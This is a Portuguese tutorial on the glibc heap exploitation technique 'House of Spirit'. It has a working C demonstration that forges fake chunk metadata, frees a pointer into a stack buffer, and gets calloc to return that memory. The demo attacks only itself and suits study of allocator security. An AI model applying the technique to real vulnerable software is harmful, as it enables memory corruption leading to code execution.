Este exploit consiste em reescrever um ponteiro, já existente, antes dele ser liberado pela função free(). A ideia consiste no atacante criar um chunk falso (na pilha, na .bss, na heap, etc...) e fazer o ponteiro apontar para esse novo chunk.
Esse novo chunk deve passar em alguns testes de verificação, que não é muito difícil, basta iniciar os campos sizes desse chunk, e do próximo.
Nota: O atacante deve, na verdade, criar dois chunks adjacentes, para dessa forma modificar tanto o campo size do primeiro, como do segundo. Porém, o segundo chunk não necessita do espaço completo criado para ele, ele apenas precisa desse campo size.
O campo size do primeiro chunk falso deve estar no intervalo da fastbin, para quando ele for liberado, ele cair nela. Com isso, a próxima alocação com o tamanho no size (se atentando ao arredondamento da malloc()) irá retornar esse chunk.
Exemplo
house-of-spirit.c
#include<stdio.h>#include<stdlib.h>intmain(){size_t*chunks[7];size_t fake_chunks[10] __attribute__((aligned(0x10))); // Espaço para dois chunks, um com o campo size em fake_chunks[1] e o outro com o campo size em fake_chunks[9].size_t*ptr =NULL,*ptr2 =NULL;// Preenchendo a tcache.printf("\nPasso 1: preencher a tcache.");for (int i =0; i <7; i++) { chunks[i] = (size_t*)malloc(0x30); }for (int i =0; i <7; i++) {free(chunks[i]); }// Iniciando o exploit.printf("\nPasso 2: preparar os metadados dos chunks falsos.");printf("\nO campo size do primeiro chunk está em %p, e o campo size do segundo está em %p",&fake_chunks[1],&fake_chunks[9]);// O campo size do primeiro chunk deve ser menor do que 128 para entrar na fastbin, porém é necessário ficar esperto com os bits NMP. Neste caso, ambos estarão zerados (anterior não está em uso, não é mmaped, e está na arena principal).// Outra coisa importante é que o valor no size deve ser um valor gerado pelo arredondamento da malloc, por exemplo, em x64 os valores 0x30 a 0x38 são arredondados para 0x40. fake_chunks[1] =0x40; // O tamanho do chunk de fato. fake_chunks[0] é considerado do anterior, e fake_chunks[9] é o size do próximo. Sobra 8 índices de 8 bytes = 64 bytes = 0x40.// O tamanho do próximo chunk deve obedecer algumas regras, uma delas é que ele deve ser maior do que 2*SIZE_SZ (16 em x64) e menor do que av->system_mem (128kb, por padrão na arena principal). fake_chunks[9] =0x40; // Bits NMP desativados.printf("\nPasso 3: liberando o primeiro chunk falso.");// O chunk deve estar alinhado em 16 bytes para não gerar erro. ptr = (size_t*)&fake_chunks[2]; // Os dados do usuário sempre começam 8 bytes na frente do size.free(ptr);printf("\nPasso 4: alocando novamente o chunk.");// Note que podemos usar a malloc, porém teríamos que fazer 7 alocações antes para esvaziar a tcache. ptr2 = (size_t*)calloc(1,0x30); // Lembre-se de que irá arredondar para 0x40.printf("\nEndereço do chunk %p, endereço retornado %p\n",&fake_chunks[2], ptr2);return0;}